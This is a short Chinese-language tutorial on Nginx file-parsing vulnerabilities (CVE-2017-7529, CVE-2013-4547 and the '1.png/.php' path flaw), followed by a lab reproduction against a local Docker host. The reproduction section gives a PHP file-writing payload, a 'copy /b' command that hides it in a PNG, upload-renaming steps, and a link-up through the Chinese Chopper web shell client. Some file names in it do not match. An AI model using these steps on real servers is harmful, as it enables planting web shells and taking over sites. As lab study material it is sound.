> 文档中心 > Nginx文件解析漏洞的原理与复现

Nginx文件解析漏洞的原理与复现

一、Nginx的简介

Nginx (engine x) 是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力在同类型的网页服务器中表现较好,中国大陆使用nginx网站用户有:百度、京东、新浪、网易、腾讯、淘宝等

二、Nginx漏洞的原理

1,Nginx越界读取缓存漏洞(CVE-2017-7529) 可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

2,Nginx 文件名逻辑漏洞(CVE-2013-4547) 主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

3,Nginx解析漏洞复现 第3和第2都是文件解析漏洞,只是利用的方式不同,第2利用方式为:1.png.php。而第3利用方式为:1.png/.php。这样,1.png文件就会当成php文件进行解析。从而造成代码执行等。

三、Nginx漏洞的复现

11.php内容:   

1.PHP内容: <?php fwrite(fopen("/var/www/html/uploadfiles/nginx1.php","w"),"")?>

1.制作图片木马,使用命令: copy nginx.png/b+1.php nginx1.png     获得图片木马nginx2.png

进入docker容器,开启响应的进程,然后上传图片码

 进行抓包修改文件名

 然后进行访问http://192.168.44.145:8080/uploadfiles/nginx.png .php并且抓包,

 

然后使用菜刀连接:http://192.168.44.145:8080/uploadfiles/nginx1.php